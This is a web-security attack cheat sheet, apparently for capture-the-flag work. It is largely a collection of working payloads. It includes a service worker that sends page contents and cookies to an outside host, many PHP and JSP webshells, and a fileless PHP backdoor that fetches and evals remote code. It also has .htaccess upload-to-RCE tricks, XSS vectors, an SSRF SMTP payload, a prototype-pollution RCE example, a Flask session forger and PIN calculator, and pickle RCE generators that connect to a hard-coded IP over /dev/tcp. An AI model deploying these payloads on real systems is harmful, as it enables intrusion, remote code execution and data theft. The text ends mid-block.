Web Security CheatSheet

       

    This document is continuously updated.

    cross site scripting

    • http://portswigger.net/web-security/cross-site-scripting/cheat-sheet

    • basic filter bypass

    • samesite cookie bypass

    • client side template injection

      • angularjs
      • nodejs : ejs, pug nunjucks .. etc
    • jsonp injection

      • bom injection
    • dom clobbering

    • uxss

    • open redirection

      • oauth
      • csrf gadget
    • service worker

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      <!-- page.html -->
      <html>
      <script>
      if ('serviceWorker' in navigator) {
      navigator.serviceWorker.register('/ex.js', { scope: '/' })
      .then(function (registration) {
      console.log('Registration successful, scope is:', registration.scope);
      })
      .catch(function (error) {
      console.log('Service worker registration failed, error:', error);
      });
      }
      </script>
      </html>
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      // ex.js
      self.addEventListener('fetch', function (event) {
      console.log('Fetching:', event.request.url);

      event.respondWith(
      fetch(event.request.url)
      .then(function (response) {
      return response.text();
      })
      .then(function (text) {
      fetch('//rwx.kr/?data=' + encodeURI(event.request.url));
      fetch('//rwx.kr/?data=' + encodeURI(text));
      fetch('//rwx.kr/?data=' + encodeURI(document.cookie));

      return new Response(text, { headers: { 'Content-Type': 'text/html' } });
      })
      );
      });
    • chrome gold feature

    • library

      • jquery $.getJSON
    • crlf injection

      • urldecode
      • urldecode while http -> https redirect (misconfigure)
      • http/2 mitigation
        • 연구 필요
    • csp bypass

    • autofocus with contenteditable

      1
      <p type=contenteditable autofocus onfocus=alert(1)>
    • browser dependent

      • Chrome, Opera, Safari and Edge

        1
        2
        3
        <div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
        <div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
        <div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">
      • Firefox

        1
        2
        <div onbeforescriptexecute="alert(1)"></div>
        <script>1</script>
      • MSIE10/11 & Edge

        1
        <div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)">
      • MSIE10

        1
        <div contenteditable onresize="alert(1)"></div>
      • MSIE11

        1
        2
        3
        4
        5
        <div onactivate="alert(1)" id="xss" style="overflow:scroll"></div>
        <div onfocus="alert(1)" id="xss" style="display:table">
        <div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)">
        <div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)">
        <div id="xss" style="float:left" onfocus="alert(1)">
      • Chrome, Opera, Safari

        1
        2
        <style>@keyframes x{}</style>
        <div style="animation-name:x" onanimationstart="alert(1)"></div>
      • Chrome, Opera, Safari

        1
        2
        3
        4
        5
        <style>
        div {width: 100px;}
        div:target {width: 200px;}
        </style>
        <div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div>
      • Safari

        1
        <div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>

    client side request forgery

    • xhr 또는 fetch 를 사용하여, 다른 페이지 데이터 가져올 수 있음
    • a tag ping attribute
    • 30? : redirect with post data preserve
      • 연구 필요
    • XS-Leaks
      • [설명추가예정 : 방법 다양함]

    PHP

    • webshell

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      <?php system($_GET["cmd"]); ?>
      <?php system($_GET[1]); ?>
      <?php system("`$_GET[1]`"); ?>
      <?= system($_GET[cmd]);
      <?=`$_GET[1]`;
      <?php eval($_POST[cmd]);?>
      <?php echo `$_GET[1]`;
      <?php echo passthru($_GET['cmd']);
      <?php echo shell_exec($_GET['cmd']);
      <?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
      <script language="php">system("id"); </script>

      <?php $_GET['a']($_GET['b']); ?>
      // a=system&b=ls
      // a=assert&b=system("ls")

      <?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
      // .php?cmd=system("ls")

      <?@extract($_REQUEST);@die($f($c));?>
      // .php?f=system&c=id

      <?php @include($_FILES['u']['tmp_name']);
      // 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
      // 把暫存檔include進來
      // From: http://www.zeroplace.cn/article.asp?id=906

      <?php $x=~¾¬¬º­«;$x($_GET['a']); ?>
      // not backdoor (assert)
      // .php?a=system("ls")

      echo "{${phpinfo()}}";

      echo "${system(ls)}";

      echo Y2F0IGZsYWc= | base64 -d | sh
      // Y2F0IGZsYWc= => cat flag

      echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
      // cat shell.php
      // <?php echo 'A PHP Test ';" ?>

      echo ^<?php eval^($_POST['a']^); ?^> > a.php
      // Windows echo導出一句話

      <?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");

      <?php
      header('HTTP/1.1 404');
      ob_start();
      phpinfo();
      ob_end_clean();
      ?>

      <?php
      // 無回顯後門
      // e.g. ?pass=file_get_contents('http://15.165.0.114/test')
      ob_start('assert');
      echo $_REQUEST['pass'];
      ob_end_flush();
      ?>

      <?=
      // 沒有英數字的webshell
      $💩 = '[[[[@@' ^ '("(/%-';
      $💩(('@@['^'#!/')." /????");


      A=fl;B=ag;cat $A$B
    • disable function history

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      // isitdtu
      pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pczntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

      // 2015 orange
      exec, passthru, shell_exec, system, proc_open, popen, curl_exec,
      curl_multi_exec, parse_ini_file, symlink, chgrp, chmod, chown, dl, mail,
      imap_mail, apache_child_terminate, posix_kill, proc_terminate,
      proc_get_status, syslog, openlog, ini_alter, ini_set, ini_restore,
      putenv, apache_setenv, pcntl_alarm, pcntl_fork, pcntl_waitpid,
      pcntl_wait, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal,
      pcntl_signal_dispatch, pcntl_sigtimedwait, pcntl_sigprocmask,
      pcntl_sigwaitinfo, pcntl_exec, pcntl_setpriority, link, readlink
    • xor(^) 연산이나 not(~) 연산, and(&) 연산 이용하여 필터 바이패스

      1
      2
      echo (%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f); // system
      [~] 과 [^] 예제 추가 예정
    • 이중 참조

      1
      2
      $a='apple'; $b='a';
      echo $$b; //apple
    • 배열 첨자

      1
      2
      3
      $arr = array('a' => 'b');
      var_dump($arr['a']); // "b"
      var_dump($arr{'a'}); // "b"
    • file_put_contents

    • lfi with null bytes (php 5.?.? 버전까지)

    • rfi

      • allow_url_include
      • allow_url_fopen
      • UNC
    • 파일 없는 php webshell

      • 연구 방향성 불일치, 연구 불필요하다고 생각됨
      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?php  
      unlink(__FILE__);
      ignore_user_abort(true);
      set_time_limit(0);
      $remote_file = 'http://xxx/xxx.txt';
      while($code = file_get_contents($remote_file)){
      @eval($code);
      sleep(5);
      };
    • wrapper

      • php://filter wrapper
        • php://filter/read=string.rot13/
        • php://filter/convert.iconv.utf-8.utf-16/
        • php://filter/convert.base64-encode/
        • php://filter/convert.base64-decode/
        • php://filter/zlib.deflate/
        • php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=
        • convert.base64-encode 이용하여 충분히 길게 만들면 메모리 과할당으로 crash 유발할 수 있음
      • zip://
      • data://
      • expect://
        • 아주 특수한 경우에만 발생
      • php://input
      • phar://
    • special files

      • /proc/self/environ

        • 최신 버전에서는 읽지 못하게 권한 관리
      • /proc/self/fd

      • sessions file

        • session.upload_progress

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          import requests
          import base64
          import sys

          payload = b'a'*2 + base64.b64encode(b'<?=eval($_GET[cmd])?>')
          payload2 = '<?=`ls -al /`?>'

          while True:
          requests.post(sys.argv[1],
          cookies = { 'PHPSESSID': 'posix' },
          data = { 'PHP_SESSION_UPLOAD_PROGRESS': payload },
          files = { payload2: 'A'*1000 }
          )
        • /var/lib/php5/sessions/sess_posix

        • /var/lib/php/sessions/sess_posix

        • /tmp/sess_posix

      • file upload tmp file

        • /tmp/phpoSWPOI
        • /tmp/php[A-Za-z0-9]{5}
    • nginx

    • escapeshellarg + escapeshellcmd

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?php

      $a = $_GET['a'];
      $a = escapeshellarg($a);
      $a = escapeshellcmd($a);

      $cmd = 'ls ' . $a . ' 2>&1';
      echo 'cmd: ' . $cmd . "\n";
      echo 'out:' . exec($cmd);
      1
      2
      3
      // https://php.rwx.kr/?a=%27%201%20/tm%203%27
      cmd: ls ''\\'' 1 /tm 3'\\''' 2>&1
      out:ls: cannot access '3\\': No such file or directory
    • multibyte webshell

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      #!/usr/bin/python3
      # Description : create and bypass file upload filter with .htaccess
      # Author : Thibaud Robin

      # Will prove the file is a legit xbitmap file and the size is 1337x1337
      SIZE_HEADER = b"\\n\\n#define width 1337\\n#define height 1337\\n\\n"

      def generate_php_file(filename, script):
      phpfile = open(filename, 'wb')

      phpfile.write(script.encode('utf-16be'))
      phpfile.write(SIZE_HEADER)

      phpfile.close()

      def generate_htacess():
      htaccess = open('..htaccess', 'wb')

      htaccess.write(SIZE_HEADER)
      htaccess.write(b'AddType application/x-httpd-php .php16\\n')
      htaccess.write(b'php_value zend.multibyte 1\\n')
      htaccess.write(b'php_value zend.detect_unicode 1\\n')
      htaccess.write(b'php_value display_errors 1\\n')

      htaccess.close()

      generate_htacess()

      generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>")
      generate_php_file("scandir.php16", "<?php echo implode('\\n', scandir($_GET['dir'])); die(); ?>")
      generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>")
      generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")
    • disable function bypass

    • open_basedir bypass

      • glob wrapper

        1
        2
        3
        4
        5
        6
        7
        8
        9
        $file_list = array();
        $it = new DirectoryIterator("glob:///*");
        foreach($it as $f) {
        $file_list[] = $f->__toString();
        }
        sort($file_list);
        foreach($file_list as $f){
        echo "{$f}<br/>";
        }
      • ini_set

        1
        2
        3
        4
        5
        6
        chdir('img');
        ini_set('open_basedir','..');
        chdir('..');chdir('..');
        chdir('..');chdir('..');
        ini_set('open_basedir','/');
        echo(file_get_contents('flag'));
      • symlink

        1
        2
        3
        4
        5
        6
        7
        mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
        symlink('/var/www/html/a/b/c/d/e/f/g','foo');
        ini_set('open_basedir','/var/www/html:bar/');
        symlink('foo/../../../../../../','bar');
        unlink('foo');
        symlink('/var/www/html/','foo');
        echo file_get_contents('bar/etc/passwd');
      • fastcgi

    • docker에서 lfi 가젯

      • 루트권한에서만 동작
      • 연구 필요
      1
      2
      /usr/src/php/sapi/tests/test007.phpt
      // phpinfo(), print_r($_POST)
    • preg_match bypass with newline

    • abusing rand

    • hash_hmac

      1
      2
      3
      $hmac = hash_hmac('sha256', Array(), "SecretKey");
      echo $hmac == false;
      // true
    • extract

      • [추가예정]
    • parse_str

      • [추가예정]
    • parse_url

      • [추가예정]
    • preg_replace

      • [추가예정]
    • sprintf / vprintf

      • [추가예정]
    • temp files

      • 업로드되는 임시 첨부 파일, 세션 파일, wrapper 를 통한 필터 처리 중에 있는 임시 파일의 경우 본 저장경로와 /tmp 폴더에 쓰기 권한이 없으면, 현재 디렉터리에 임시 파일을 작성합니다.
      • segment fault 를 유발하여 core 파일을 작성 생성하고 lfi 를 유발하는 문제도 있음
    • phpinfo 에서 주목해야할 점

      • 커스텀 모듈 존재 유무
      • disable function 에 사용할 수 있는 모듈 존재 유무
      • php 버전 -> 원데이 -> php bugs 참고하여 검색
      • auto_append_file / auto_prepend_file
      • allow_url_fopen / allow_url_include
      • fastcgi 사용여부 -> ssrf
      • open_basedir
      • disable_classes
      • disable_functions
      • user_ini.filename -> 파일 업로드 취약점
      • curl 모듈 -> support protocols -> gopher ssrf
      • libxml -> xxe
      • mbstring -> unicode normalize
      • session.upload_progress.name (PHP_SESSION_UPLOAD_PROGRESS)
      • session.save_path (/var/lib/php/sessions/)
      • session.serialize_handler (php)

    php type confusion

    • loose comparison

      1
      2
      3
      4
      5
      6
      7
      8
      '0xABCdef' == ' 0xABCdef' // true
      '0010e2' == '1e3' // true
      '123' == 123 // true
      'abc' == 0 // true
      '123a' == 123 // true
      '0x01' == 1 // true, php7.0 부터는 false
      '' == 0 == false == NULL // all the same
      1.0000000000000001 == 1 // true
    • strcmp

      • array

        1
        strcmp([],[])
    • sha1 / md5 / hash

      • array

        1
        2
        3
        sha1([]) // NULL
        md5([1,2,3]) // NULL
        hash('md5',['1']) // NULL
    • in_array

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      in_array('5 or 1=1', array(1, 2, 3, 4, 5)); // true
      in_array('kaibro', array(0, 1, 2)); // true
      in_array(array(), array('kai'=>false)); // true
      in_array(array(), array('kai'=>null)); // true
      in_array(array(), array('kai'=>0)); // false
      in_array(array(), array('kai'=>'bro')); // false
      in_array('kai', array('kai'=>true)); // true
      in_array('kai', array('kai'=>'bro')); // false
      in_array('kai', array('kai'=>0)); // true
      in_array('kai', array('kai'=>1)); // false
    • intval

      • [이름 추가 예정]

        • 삭제 검토
        1
        2
        intval(012) // 10
        intval('012') // 12
      • overflow

        1
        2
        intval('1000000000000') // 2147483647
        intval('100000000000000000000') // 9223372036854775807
    • magic hash

      1
      2
      md5(240610708) // 0e462097431906509019562988736854
      sha1(10932435112) // 0e07766915004133176347055865026311692244
    • array_search

      1
      2
      $arr=array(1,2,0); var_dump(array_search('kai', $arr)); // int(2)
      $arr=array(1,2,0); var_dump(array_search('1', $arr)); // int(0)
    • file_put_contents

      1
      2
      3
      4
      <?php
      $test = $_GET['txt'];
      if(preg_match('[<>?]', $test)) die('bye');
      file_put_contents('output', $test);
    • chr

      1
      2
      chr(259) === chr(3); // true
      chr(-87) === chr(169); // true
    • 후위 연산자

      1
      2
      $a="9D9"; var_dump(++$a); // 9E0
      $a="9E0"; var_dump(++$a); // 10
    • ereg / eregi (php 7.0.0 에서 삭제되었음)

      1
      ereg("^[0-9]+$", "1234\x00Injected!") // true
    • raw hash

      1
      2
      3
      4
      php > var_dump(md5('ffifdyop', true));
      string(16) "'or'6r,"
      php > var_dump(md5('129581926211651571912466741651878684928', true));
      string(16) "0Do#'or'8"
    • OPcache

    • XDebug RCE

    • PCRE

    • system

      1
      2
      3
      4
      php > echo system('echo $_');
      /usr/bin/php
      php > echo system('echo $0');
      sh
    • regex bug

      1
      echo  preg_match('/(a+)+$/', 'v'.str_repeat('a',100000).'v'.str_repeat('a',100000));
    • base_convert

      1
      2
      3
      4
      php > echo base_convert('system',36,10);
      1751504350
      php > echo base_convert(1751504350,10,36);
      system
    • phar

      • gzip compression 허용됨 (filter bypass)
    • 앞에 임의 문자 넣어서 mime type check bypass 가능

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?php
      class ClassName { }
      $phar = new Phar("evil.phar");
      $phar->startBuffering();
      $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
      $o = new ClassName();
      $o -> source='f1ag.php';
      $phar->setMetadata($o);
      $phar->addFromString("test.txt", "test");
      $phar->stopBuffering();

    JSP

    • one line webshell

      1
      <%Runtime.getRuntime().exec(request.getParameter("i"));%>
    • read output

      • import 해줘야함
      1
      2
      3
      4
      5
      6
      7
      8
      <%
      java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
      int a = -1;
      byte[] b = new byte[2048];
      while((a=in.read(b))!=-1){
      out.println(new String(b));
      }
      %>

    http

    server side template injection

    • jinja (python)

    • smarty

    1
    2
    3
    {php}phpinfo(){/php}
    {if phpinfo()}{/if}
    {if system("ls")}{/if}
    • twig

    • ejs (nodejs)

    • pug (nodejs)

    server side request forgery

    trigger

    target

    • internal service access

    • smtp

      • gopherus 권장

        1
        127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
    • redis

    • fastcgi

      • [설명추가예정]
    • fingerprint

      • [설명추가예정]
    • sftp

      • [설명추가예정]
    • elasticsearch

      • [설명추가예정]
    • mysql query (비밀번호가 없는 계정의 경우 평문 통신 가능)

      • [설명추가예정]
    • tomcat deployer

    • aws

      • secret key 취득 가능
      • 169.254.169.254/latest

    knowledge

    • redis는 nullbyte 만나면 종료 (구버전에 취약 여부 불확실), 임의 경로 파일 쓰기 기능 있음
    • memcached는 nullbytes 만나도 계속 데이터 받아옴, 임의 경로 파일 쓰기 기능 없음
    • mysql:… format (이름 까먹음 / 2019 zeroknight / ssrf / mysqli client attack 결합 가능성 보임)
      • 추가바람

    information disclosure

    • jsonp information hijack via cors misconfigure

    • websocket

    • credential on jwt payload

    • directory traversal

      • unicode failure ucs2 NN
      • nginx location misconfigure /static../
    • touch docker host

      • remote api 를 통해 docker 접근 가능
      • 연구 필요
      • [설명추가예정]
    • docker-compose.yml, Dockerfile

      • dirsearch.py 권장
    • .git/HEAD, .svn .. etc

    • system files

      • 추가예정
    • log files

      • 추가예정
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
        .Xauthority
      .bashrc
      .byobu
      .config
      .fonts
      .forever
      .fzf
      .fzf.bash
      .fzf.zsh
      .gdbinit
      .gem
      .gitconfig
      .gnupg
      .local
      .mongorc.js
      .mozilla
      .npm
      .dbshell
      .mysql_history
      .php_history
      .node_repl_history
      .sqlite_history
      .python_history
      .rediscli_history
      .psql_history
      .bash_history
      .sh_history
      .coffee_history
      .gdb_history
      .profile
      .ssh
      .vim
      .vim-update
      .zsh_history
      .viminfo
      .pm2/pm2.log
      .lesshst
      .tmux
      .tmux.conf
      .tmux.conf.local
      .vscode-server
      .vimrc
      .zshrc
      .zcompdump
      .zcompdump-rwx-5.4.2
      .selected_editor
      .pwntools-cache
      .pwntools-cache-3.6
      .hushlogin

    file upload

    • web.config

    • .htaccess

    • magic byte (mime type check bypass)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      // magic 4byte
      JPEG - FF D8 FF DB - ÿØÿÛ
      GIF - 47 49 46 38 - GIF8
      PNG - 89 50 4E 47 - ‰PNG
      // full magic sig
      GIF - 47 49 46 38 39 61 - GIF89a (or GIF87a)
      PNG - 89 50 4E 47 0D 0A 1A 0A - ‰PNG
      

      Just 3 Bytes "\x00\x00\x89"
    • hash crack

      1
      ./john .htpasswd
      • standalone shell
      1
      2
      3
      4
      5
      6
      7
      8
      9
      <Files ~ "^\.ht">
      Order allow,deny
      Allow from all
      </Files>

      AddHandler php7-script .htaccess
      AddType application/x-httpd-php .htaccess

      # <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
      • using FilesMatch
      1
      2
      3
      <FilesMatch "kai">
      SetHandler application/x-httpd-php
      </FilesMatch>
      • php engine off
      1
      2
      3
      4
      RemoveHandler .php .phtml .php3
      RemoveType .php .phtml .php3
      // 이거 하나만 해도 됨
      php_flag engine off
    • .user.ini

      • auto_append_file

        • fastcgi 를 사용중인 php nginx 서버에서 사용 가능한 방법으로
          .user.ini 파일을 업로드하면 하위폴더에서 사용되는 php.ini 설정을 오버라이딩 할 수 있습니다.

          1
          2
          auto_prepend_file = a.jpg
          auto_append_file = b.jpg
        • 위 두 설정은 php 파일 실행 이전/이후에 자동 인클루드 되도록 합니다.
          확장자와 무관하게 내부 삽입된 스크립트 실행됨.

        1
        <script language="php">system($_GET[cmd]);</script>
        • 본래 <script language="php">는 옵션이 설정된 상태에서만 php 코드로 해석하나, auto_append_file 등으로 include 될 때에는 옵션과 무관하게 내부 코드 실행됨
      • direct / remote file inclusion

      1
      2
      3
      4
      php_flag allow_url_include 1
      php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
      #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
      #php_value auto_append_file <https://sektioneins.de/evil-code.txt>
    • XSS and PHP code execution with UTF-7

      1
      2
      3
      4
      php_flag zend.multibyte 1
      php_value zend.script_encoding "UTF-7"
      php_value auto_append_file .htaccess
      #+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs
    • XSS via error message link

      1
      2
      <?php
      include('foo');
      1
      2
      3
      php_flag display_errors 1
      php_flag html_errors 1
      php_value docref_root "'><script>alert(1);</script>"
    • XSS via error message link extension

      1
      2
      <?php
      include('foo');
      1
      2
      3
      4
      php_flag display_errors 1
      php_flag html_errors 1
      php_value docref_root "x"
      php_value docref_ext "<script>alert(1);</script>"
    • XSS via phps color

      1
      2
      3
      4
      5
      <FilesMatch ".+\\.phps$">
      SetHandler application/x-httpd-php-source
      Order Allow,Deny
      Allow from all
      </FilesMatch>
      1
      2
      3
      4
      5
      <?php
      test();
      // comment
      ?>
      text
      1
      php_value highlight.comment '"><script>alert(1);</script>'
    • XSS via highlight_file() color

      1
      2
      3
      <?php
      highlight_file(__FILE__);
      // comment
      1
      php_value highlight.comment '"><script>alert(1);</script>'
    • failed PHP injection via error_log and include_path

      1
      <?php include('foo');
      1
      2
      php_value error_log /var/www/ex4a/foo.php
      php_value include_path "<?php phpinfo(); __halt_compiler();"
    • failed PHP injection via error_log and auto_prepend_file

      1
      2
      php_value error_log /var/www/ipc/ex4b/foo.php
      php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"
    • PHP code injection via error_log and UTF-7

      1
      2
      3
      4
      5
      6
      php_value error_log /var/www/ipc/ex4c/foo.php
      #---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
      php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

      php_flag zend.multibyte 1
      php_value zend.script_encoding "UTF-7"

    Erlang

    • list all defined functions

      1
      2
      math:module_info().
      module_info().

    html

    • relative path override

    • css injection

      • get tag attribute
      1
      2
      3
      4
      5
      6
      7
      <?php
      header("Content-Type: text/css; charset=UTF-8");
      for ($ascii = 33; $ascii < 126; $ascii++){
      echo "@font-face{ font-family:poc; src: url(http://{my_server}/?".chr($ascii)."); unicode-range:U+00".dechex($ascii).";}"."\n";
      }
      ?>
      #flag{ font-family:poc;}
      • get content charset
      1
      2
      3
      4
      5
      6
      7
      <?php
      header("Content-Type: text/css; charset=UTF-8");
      for ($ascii = 33; $ascii < 126; $ascii++){
      echo "@font-face{ font-family:poc; src: url(http://{my_server}/?".chr($ascii)."); unicode-range:U+00".dechex($ascii).";}"."\n";
      }
      ?>
      #flag{ font-family:poc;}

    logical vul

    • never expired state + random event
    • idor
      • 설명 불필요

    auth bypass

    • jwt none type injection

    • flask session generator

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      import sys
      from flask.sessions import SecureCookieSessionInterface
      class App(object):
      def __init__(self):
      self.secret_key = None
      app = App()
      app.secret_key = sys.argv[1]
      si = SecureCookieSessionInterface()
      serializer = si.get_signing_serializer(app)
      session = serializer.dumps({'admin':True})
      print(session)
    • flagk-unsign

      1
      2
      pip3 install flask-unsign
      flask-unsign –sign –cookie "{'is_admin': True}" –secret ‘DeRz7YDZ5nCDqR3vt33QpuhkrSYLmuX8' –legacy
    • flask pin calculator

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      import hashlib
      from itertools import chain
      probably_public_bits = [
      'flaskweb',
      'flask.app',
      'Flask',
      '/usr/local/lib/python3.7/site-packages/flask/app.py',
      ]

      private_bits = [
      '2485410463771',
      'cf0ba4b49af0063252dc6943557b002fe787baab6d9421be9c14813731e6626b'
      ]

      h = hashlib.md5()
      for bit in chain(probably_public_bits, private_bits):
      if not bit:
      continue
      if isinstance(bit, str):
      bit = bit.encode('utf-8')
      h.update(bit)
      h.update(b'cookiesalt')

      cookie_name = '__wzd' + h.hexdigest()[:20]

      num = None
      if num is None:
      h.update(b'pinsalt')
      num = ('%09d' % int(h.hexdigest(), 16))[:9]

      rv =None
      if rv is None:
      for group_size in 5, 4, 3:
      if len(num) % group_size == 0:
      rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
      for x in range(0, len(num), group_size))
      break
      else:
      rv = num

      print(rv)

    javascript

    • prototype pollution

      • EJS rce (https://xz.aliyun.com/t/6113)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        const express = require('express');
        const app = express();

        Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";

        app.engine('ejs', require('ejs').renderFile);

        app.get('/', (req, res) => {
        res.render('index.ejs');
        })

        app.listen(7878)
      • https://blog.rwx.kr/prototype-pollution-to-rce/
    • sandbox escape

    • unicode failure

    • regex dos

    • read file from UNC (windows)

      • fs
        1
        2
        const fs = require('fs');
        fs.readFile("\\1.2.3.4\shared\1.js")
      • express render
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        const express = require('express');
        const app = express();

        // set render engine

        app.get('/' (req, res) => {
        res.render(req.query.file);
        });

        app.listen(8080);
    • Object.freeze(location)

      1
      location.replace(1)
    • JSON.stringify spacer

      1
      JSON.parse(JSON.stringify({a:1,b:2},'', '"cmd":1,'))
    • variable _

    • repr 모드에서 마지막 라인 반환값과 동일

      1
      2
      "applemint";
      console.log(_); // applemint
    • String.fromCharCode mod

      1
      String.fromCharCode(65601) === 'A' // true
    • scope touch

      1
      2
      3
      4
      5
      6
      7
      var scope1 = Function('let abc = 123; scope2();')

      function scope2() {
      console.log(arguments.callee.caller.arguments);
      }

      scope1(1,2,3);
    • property searcher

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      function search(obj, history = []) {
      if (history.length == 0 && obj[Symbol.toStringTag]) history.push(obj[Symbol.toStringTag]);

      let keys = [];
      if (obj) keys = Object.getOwnPropertyNames(obj);
      for (let key of keys) {

      let val = obj[key];
      if (val && val[Symbol.iterator] && (val[Symbol.iterator]+[]).indexOf('[native code]') == -1) {
      console.log(`[${history.join('.')}.${key}][Symbol.iterator]`);
      console.log(val[Symbol.iterator] + []);
      }

      if (typeof val === 'object' && val !== obj && key !== history[history.length - 2]) {
      search(val, history.concat(key));
      }
      }
      }

      search(global);
      • overflow
      1
      11111111111111111 === 11111111111111112 // true
      • infinite loop with overwrite object attribute on array expected
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      // http://localhost/?param[length]=1e9

      const express = require('express');
      const app = express();

      app.use((req, res) => {

      var data = req.query.param;
      var output = 'output : ';

      for (let i = 0; i < data.length; ++i) {
      output += data[i];
      }

      res.send(output);
      });

      app.listen(80);

    unserialize

    • python pickle

      • pickle (os.system)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        import pickle
        import os
        import sys
        import base64

        DEFAULT_COMMAND = "bash -c 'echo 1 > /dev/tcp/45.32.48.238/8888'"
        COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

        class PickleRce(object):
        def __reduce__(self):
        return (os.system,(COMMAND,))

        print(base64.b64encode(pickle.dumps(PickleRce())))
      • pickle (eval)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        import pickle
        import os
        import sys
        import base64

        class PickleRce(object):
        def __reduce__(self):
        return (__builtins__.eval,("__builtins__.__import__('os').popen('id').read()",))

        print(base64.b64encode(pickle.dumps(PickleRce())))
      • cPickle (os.system)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        import cPickle
        import os
        import sys
        import base64

        DEFAULT_COMMAND = "bash -c 'echo 1 > /dev/tcp/45.32.48.238/8888'"
        COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

        class PickleRce(object):
        def __reduce__(self):
        return (os.system,(COMMAND,))

        print(base64.b64encode(cPickle.dumps(PickleRce())))
      • cPickel (eval)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        import cPickle
        import os
        import sys
        import base64

        class PickleRce(object):
        def __reduce__(self):
        return (__builtins__.eval,("__builtins__.__import__('os').popen('id').read()",))

        print(base64.b64encode(cPickle.dumps(PickleRce())))
      • pickle (for test)

        1
        2
        3
        4
        5
        6
        7
